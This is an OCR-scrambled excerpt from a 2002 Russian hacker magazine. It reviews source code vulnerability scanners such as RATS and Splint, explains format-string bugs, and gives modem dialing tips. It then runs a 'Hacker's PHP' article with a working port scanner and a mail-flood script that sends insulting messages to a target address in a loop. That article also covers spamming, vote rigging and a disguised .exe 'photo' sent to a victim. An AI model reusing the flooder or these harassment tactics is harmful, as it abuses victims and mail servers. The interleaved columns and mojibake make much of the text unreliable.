ности") - утилита для сканирования

сколько месяцев назад они объявили о выпуске модуля для но-

 

 

функции gets программа предупреж-

вой платформы разработки софта Visual Studio.NET, который бы

 

 

дает, что в данном контексте исполь-

исходных кодов программ не только

 

 

полностью положил конец уязвимостям переполнения буфера в

 

 

íà Ñ/Ñ++, íî è Perl, PHP è Python. Êàê

продуктах Microsoft. И угадай, какую уязвимость вскоре нашли в

 

 

зование ее не рекомендуется, ибо

самом этом модуле? Правильно, переполнение буфера… :))

 

 

 

здесь не используется хоть какая-ни-

подразумевает название программы,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

будь проверка и "буфер легко пере-

она предназначена только для грубого

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

полняем пользователем". Вместо

анализа исходника и может обнару-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нее настойчиво требуют использо-

жить не все ошибки или же, наоборот, при-

 

 

 

 

 

 

 

 

 

 

 

-x

вать более безопасную fgets. Наконец, в вызове

нять за ошибку корректный участок кода (инте-

 

 

Указание не грузить стандартные базы уяз-

функции syslog нам рекомендуют урезать все

ресно, что это - признание автора в несовершен-

 

 

вимостей (/usr/local/lib) по умолчанию (ука-

входные параметры (строки) до приемлемой

стве алгоритма или скромность, граничащая с

 

 

зываешь путь к своим базам).

длины (ограничить длину, другим словом) перед

осторожностью?). То есть "ручную" проверку ко-

 

 

 

 

 

 

передачей их этой функции.

да этот сканер не заменит, но серьезно поможет

 

 

 

 

 

 

 

 

 

 

 

 

 

 

в сем трудном деле.

 

Очевидно, то, какие уязвимости будут найдены,

 

 

 

 

Использование утилиты:

 

 

 

 

 

 

зависит от указанной базы. Для каждой уязвимо-

Splint

rats [-d <filename>] [-h] [-r] [-w <level>] [-x]

 

 

сти выводится номер строки, где она встрети-

http://www.splint.org

[file1 file2 ... filen]

 

 

лась, уровень опасности, название исследуемой

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

функции, краткое описание уязвимости, а также

Под конец, для самых терпеливых, я оста-

 

 

 

 

предлагаемые действия.

вил, пожалуй, наиболее вкусную утилитку.

 

 

 

 

 

 

 

 

 

Это широко известный в программистских

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

< Взлом >25/07\02

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

5 Западло... 6 Кодинг 7 JoyStick 8 Юниты 9 Quit> 43

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

P

 

 

 

 

 

 

 

 

i

 

 

 

 

D

 

 

<Page 044>

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

Взлом

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ХАКЕР\¹43\Июль\2002

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

to

BUY

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

SOURCE CODE SCANNERS

Toxa (toxa@real.xakep.ru)

< Folder1 >

кругах lint в его "секьюрной" реализации. Объяс-

ìû, òàê êàê

что никсы и только никсы :).

няю в двух словах: в конце семидесятых годов

 

считаю это лишним: Splint - не какая-нибудь там

В общем, об утилите Splint должен знать любой

прошлого века (как ты помнишь, это были годы

утилитка, а серьезная прога, место дислокации

уважающий себя программист на Си, и точка. Так

победного шествия UNIX'овых мейнфреймов и

 

которой - целый сайт (а не "домашняя страничка

что, если ты с ней до сих пор не знаком, - быст-

языка Си) неким S.C. Johnson'ом была написана

автора"), на котором есть исчерпывающее коли-

ро на сайт, восполнять пробелы в образовании.

утилита Lint, а причиной к созданию

 

 

 

The конец

оной был тот факт, что ранние версии

 

 

 

Format bugs èëè

 

 

языка Си были далеки от нынешнего

 

Итак, к ознакомлению были пред-

стандарта ANSI C (то бишь были дале-

форматирование строки

 

ставлены пять популярных прог. Я

ки от идеала :), не имели некоторых

 

 

 

Если атаки на переполнение буфера стали уже буквально классикой,

намеренно не стал скрупулезно ана-

нынешних возможностей (например,

т.к. активно эксплуатируются на протяжении вот уже нескольких лет,

лизировать качество работы каждой

прототипов функций) и так далее. Вот

то т.н. "форматирование строки" - не такой уж и древний класс уяз-

утилиты: исходники-тесты у тебя

Lint и был призван распознавать ошиб-

вимостей, известный с июня 2000 года. Суть его заключается в двух

вещах: 1) Наличие программистов-лентяев 2) Наличие в языке Си

есть, репорты тоже есть, бери, срав-

ки и опечатки в С-программах, исполь-

функций форматированного вывода текста.

 

нивай, анализируй и думай :). В

зуя K&R и ANSI стандарт для языка C

Поясняю подробнее. Пусть есть функция printf(), суть которой есть

принципе, написать самому подоб-

(когда они уже были приняты, естест-

вывод текста на экран в формате printf("%c", char); где char - выво-

ную прогу - не проблема, главное -

димая инфа (путь в данном случае - символьная), а %c - специфика-

венно). Цель дополнительной проверки

тор формата вывода (в данном случае - символьный). Но в то же вре-

выработать эффективный алгоритм

программы этой утилитой состоит в

мя эту строчку можно вывести на экран как printf(char); - без указа-

(мне, например, понравилась струк-

выявлении потенциальных проблем при

ния аргумента спецификатора, и компилятор это проглотит. Тут и на-

чинаются баги. Потому что во время выполнения программы для та-

тура ITS4 с ее понятной и легко по-

последующем объединении с другими

кой "урезанной" и потенциально опасной функции вывода будет осу-

полняемой базой в виде отдельного

модулями в составе проекта, обнару-

ществлен поиск спецификатора формата (%s, %d и т.п.). И осуществ-

файла, но вот алгоритм у этого ска-

ляться он будет не где-нибудь, а в стеке. Тут-то и появляется воз-

жении нестандартных конструкций, мо-

можность подсунуть вредоносный код, который и будет исполнен,

нера фиговый, его легко "обмануть").

гущих стать источником нетривиальных

просто подсунув в саму строку форматирования нужные данные. За-

Ну а потом - никто не мешает тебе

ошибок, тех же уязвимостей и ошибок

мечу, что подобной уязвимости, разумеется, подвержены все функ-

ции вывода, так или иначе работающие со спецификаторами фор-

запихнуть все это дело в ГУИ. И еще.

в вызовах функций и все такое. Надо

ìàòà: syslog(); printf(); fprintf(); sprintf(); snprintf();

 

Надеюсь, ты понимаешь, что далеко

сказать, что Lint более чувствителен к

А выход меж тем простой - не компрометировать свою программу,

не каждый найденный сканером баг -

деталям, чем С-компилятор, и находит

добросовестно передавая функциям форматированного вывода

ýòî áàã (à íå ôè÷à :), ò.ê. âñå îíè

полное число аргументов. Требуется допечатать всего шесть симво-

вероятные проблемы там, где компиля-

лов - а проблем становится намного меньше.

 

подходят к сканированию формаль-

тор их найти не может. Ну, естествен-

Примечание: прекраснейший, подробный анализ такого класса уяз-

но, в силу как раз используемых ал-

но, во-первых, ранние компиляторы

вимостей от Duke (мир праху его) ищи в архивах на www.void.ru

 

 

горитмов, и не являются панацеей,

обладали не столь мощными возмож-

 

 

 

 

 

 

однако если твоя прога состоит из

ностями по анализу компилируемого

 

 

 

 

 

 

нескольких сот строк и будет исполь-

кода, а во-вторых, сам по себе компилятор

 

 

 

 

 

 

зоваться в потенциально небезопас-

никогда не будет предупреждать о возможности

чество информации по программе, начиная от

 

ном месте (aka в сети, например, на серваке, да

ошибки переполнения буфера в такой-то строке.

мануала в несколько сотен страниц (в pdf-доке) и

еще при этом обрабатывать какие-либо запросы

Так вот, Splint - это модифицированная версия

 

заканчивая наглядными описаниями того, как при

 

извне), то проверить ее на подобные баги - не

"классического" Lint'а, в которой сделан акцент

помощи сканера проводили аудит безопасности

излишество, а суровая необходимость.

на безопасность, обнаружение уязвимостей, ба-

известного ПО (да-да, так это называется, а ты и

 

 

гов в коде, которые могу стать причиной взлома

не знал что, сканируя сетку на шары, ты "прово-

 

 

(отсюда и название: Splint - SPecification LINT или

дишь аудит безопасности" :)). Разумеется, утилу

 

 

Secure Programming LINT).

 

портировали подо все, что только можно, но вер-

 

 

Я не буду приводить примера работы програм-

сия под Win32, на мой взгляд, кривоватая. Так

 

 

< Взлом >25/07\02

Tips&Tricks

В NT-подобных системах (NT, 2000, XP) сущест-

сравнению с другими настройками удаленного

мать попытки соединиться на меньшей скоро-

вует нездоровый глюк, когда при дозвоне до

соединения и гарантированно работают на все

сти. Таким образом, вместо неустойчивой связи

прова (при исходящих звонках) служба удален-

100%.

на 40000 бит/сек можно получить устойчивую

ного доступа почему-то упорно использует то-

Здесь же, для несчастных обладателей шумных

связь, например, на 28,8 килобитах в секунду, и

новый набор, хотя везде в настройках указан

линий (к коим отношусь и я), дам еще один со-

данные к тебе польются ручьем ;).

импульсный. Хорошо, если твоя АТС понимает

вет. Как известно, на шумных линиях для полу-

 

тоновые звонки, тогда все OK, а если нет (как у

чения устойчивой связи модем нужно принуди-

Иван Скляров

меня, например)?! Конечно, немного попарив-

тельно настраивать на меньшую скорость. В

 

шись, полазив по реестру, в конечном итоге

данном случае удобнее всего делать следую-

Ведущий рубрики Tips&Tricks Иван Скляров

Винду можно заставить делать то, что нужно. Но

щее. К номеру телефона провайдера после

(Sklyarov@real.xakep.ru)

я поступаю проще: в свойствах соединения пе-

цифр добавить несколько запятых (оптимальное

Присылай мне свои трюки и советы, и, возмож-

ред номером телефона ставлю букву "p" (латин-

количество следует подобрать эксперименталь-

но, ты увидишь их на страницах ][. В конце года

скую), например, p131313, и модем начинает

ным путем). В результате после набора номера

самый активный участник получит 100$.

дозваниваться импульсом. Соответственно, ес-

твой модем будет выдерживать паузу (2 секун-

Редакция журнала и ведущий рубрики не несут

ли поставить "t", то модем будет звонить тоном.

ды на каждую запятую). В это время модем про-

ответственности за советы, которые читатели

Эти буквы имеют наивысший приоритет по

ва, не дождавшись ответа, будет предприни-

дают друг другу ;).

 

 

 

44 Ньюсы 1 Феррум 2 PC_Zone 3 Взлом 4 Юниксоид

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

<Page 046>

 

 

 

 

ХАКЕР\¹43\Июль\2002P

 

 

NOW!

 

 

 

 

 

 

 

BUY

NOW!

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

Взлом

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

 

 

 

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

Hacker's PHP

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

HACKER'S PHP

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Никита Кислицин aka Nikitos (nikitoz@fromru.com)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

< Folder1 >

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

PHP. Чудесный язык, неправда ли?

Аналогичным образом будет работать и наш с тобой

пальцев. Меры противодействия? Подсунуть "фото-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Но, как в любом другом случае, он

сканер портов:

 

графию" mashenka.jpg.exe, поглумиться через

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

может быть применен и на благо об-

<?

 

 

javascript, в конце концов - просто убить мыло. Но

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

щества, и на благо злоумышленни-

if(isset($submit))

 

засерать мыльник со своего компа, пользуя специ-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

альный софт, - неэффективно, медленно и, в об-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ка. Помимо взлома сайтов при по-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$bufer="Открытые порты на $host:\n<br>\n"; //Со-

щем-то, небезопасно. Куда круче все делать с сер-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мощи бажных PHP-скриптов, остает-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

здаем строку, куда будут дописываться порты

 

вака - через широкий канал с офигенной скоростью,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ся актуальным и использование при

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$port=split(" ", $ports); //режем $ports в массив по

для чего был написан следующий скрипт:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

помощи интерпретатора PHP мощ-

пробелам

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ностей удаленного сервера, кото-

$cc=count($port);

 

<?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

рый, сам понимаешь, не на диалапе

$cc--;

 

 

$nn=10;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

висит.

 

for($i=0; $i<=$cc; $i++) //цикл через весь массив

$nn--;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ниже пойдет речь об использовании

 

{

 

if(!isset($i))

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

этих самых мощностей на твое соб-

$connect=fsockopen("$host", $port[$i]); //попытка

 

{ $i=1; }

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ственное, хакерское усмотрение, а

коннекта

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if($connect) //Если коннект удался, дописываем в

 

if($i<=31337)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

именно: накрутка голосований, вы-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$bufer номер порта

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

качивание файлов с удаленного сер-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

$b=$i;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вера, сканирование портов, флуд e-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$bufer.="$port[$i]\n<br>\n";

 

$b+=$nn;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

mail, рассылка спама и т.п.

 

}

 

while($i<=$b)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Разумеется, для проведения экспе-

 

}

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

риментов тебе потребуется хостинг

echo "$bufer";

 

mail("lame@lamo.ru", "Удостоверение $i",

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

с поддержкой PHP и возможностью

 

} else {

 

"<H1><center><b>Ó Ä Î Ñ Ò Î Â Å Ð Å Í È Å ¹ $i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

соединения локальных сокетов с

echo "<form action=port.php>Host: <input type=text

</b></h1></center><br><br>\r\nВыдано Инно-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

удаленными. Все это можно либо

name=host><br>Ports: <input type=text

 

кентию Васильевичу в том, что он является наиту-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

купить по cc (почитай УК! =)), либо

name=ports><br><br>

 

пейшим придурком во всем российском Интерне-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

<input type=submit name=submit></form>";

 

òå.", "From: LohoKiller $i");

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

достать на халяву у буржуев (в ру-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

$i++;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нете я достойных предложений по-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

?>

 

 

if($i==$b)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ка не встречал, если, конечно, не

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

считать таковым rusonix.ru =)).

 

 

 

echo "Отправлено $i писем! Перезапуск скрипта...

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Начнем с самого простого, а имен-

 

 

 

please wait...

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

но - сканирования портов.

 

 

 

<script>location='mail_flood.php?i=$i&'</script>";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}}}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

СКАНИМ ПОРТЫ

 

 

 

 

?>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Я более чем уверен, что большинству наших читате-

 

 

 

Как несложно заметить, скрипт посылает 10 различ-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лей хоть раз приходилось сканировать порты. Хотя

 

 

 

ных(!) писем, затем перезапускается, посылает еще

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

бы в поисках Back Orifice'а по адресу 127.0.0.1 ;) (по

 

 

 

10 писем, перезапускается и так далее.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

умолчанию он открывает 31337-й порт). А задумы-

 

 

 

Этот геморрой с перезапуском скрипта придуман по

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вался ли ты, как этот самый портсканер работает?

 

 

 

причине ограничения времени выполнения сценария

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Верно, в большинстве случаев просто тупой коннект

 

 

 

web-сервером. Поскольку количество отведенных

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

на порт. Есть коннект - порт открыт, нет - закрыт.

 

 

 

скрипту секунд на всех серверах разное (на платных

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

хостингах больше, на халявных меньше), советую те-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

бе поиграть со значением переменной nn - выста-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"Результат сканирования"

 

вить ее поменьше, если выполнение скрипта преры-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вается и он не успевает отослать нужное количество

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Как видишь, у скрипта две входные переменные:

 

писем. mail_flood.php - это имя, с которым ты сохра-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

хост и порты. Порты загонятся в поле формы через

нишь на сервере скрипт.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

пробел; если тебе это кажется неудобным, можно их

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

хранить в текстовом файле (см. ниже информацию

SPAMING

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

по используемым в скриптах php-функциям).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Спам - вирус XXI века ;). Причем люди (так уж они

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

MAIL FLOOD

 

устроены...) сердятся лишь на виртуальное его про-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

явление - ту же "Экстру М" все с радостью берут :).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Тема весьма актуальная. Особенно учитывая то не-

Но, ей богу, неприятно обнаружить, что за ночь в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сметное количество уродцев, которое бороздит Инет

ящик накапало 79 тридцатикилобайтовых писем с

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

с единственной целью: облить все и вся калийными

предложением "Зарабатывать по $10000 в месяц".

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"Форма портсканера"

 

массами, низвергающимися с кончиков их бледных

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

< Взлом >25/07\02

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

46 Ньюсы

1 Феррум

2 PC_Zone

3 Взлом

4 Юниксоид

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

-

 

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

F

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

D

018>47

 

 

 

 

o

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

BUY

NOW!

 

 

 

 

 

 

 

 

 

 

 

 

BUY

NOW!

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

< Folder2>

 

 

w Click

 

 

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

.

 

 

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

e

 

 

 

 

 

 

p

df

 

 

 

 

 

e

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

df-xchan

 

 

 

 

 

 

 

 

 

 

-x chan

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Этот класс предоставляет довольно широкие воз-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Кстати, часто в локальных сетях в виде бонуса дают

можности по работе с почтой, избавляя от необхо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

бесплатный трафик с провайдерскими pop3 и smtp

димости вручную строить сообщения.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

серверами, а значит имеет смысл при помощи PHP

А вот скрипт, показывающий, каким образом можно

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

скачивать файл и посылать его на мыло, трафик с

аттачить файлы.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

которым не учитывается. Таким образом можно по-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лучить возможность на халяву качать мегатонные

<?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

файлы! Правда, в этом случае можно здорово полу-

include "mime_mail.inc";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

чить по шее от админа сетки, которому, в свою оче-

$file="big_file.jpg";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

редь, сильно влетит от начальства за безумный

$content_type="image/jpeg";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

mail-трафик ;). Но еcли сложности тебя не пугают (7

$f=fopen($file, "r"); //Читаем файл

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

раз подумай, а потом подумай еще раз ;)), то, так

$filesize= filesize($file);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$data=fread($f, $filesize);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"Небольшой спамлист"

Про Сокеты

 

 

fclose($f);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$mail=new mime_mail; #создаем ко-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Но спам как средство раскрутки сайта сто-

Большинство сетевых приложений состоит из двух частей: кли-

пию объекта

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ит не на последнем месте, да и, потом,

$mail->from="hacker@yuorhost.com";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ента и сервера. Существует масса примеров такого типа прило-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

можно подумать над мирным применени-

$mail->to="hacker@isp.ru";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

жений: IRC-клиент и IRC-сервер, броузер и web-сервер, клиент

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ем моего скрипта - например, создавать

$mail->subject="Файло!";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

FTP и сервер FTP. Весь процесс связи клиента с сервером на

 

 

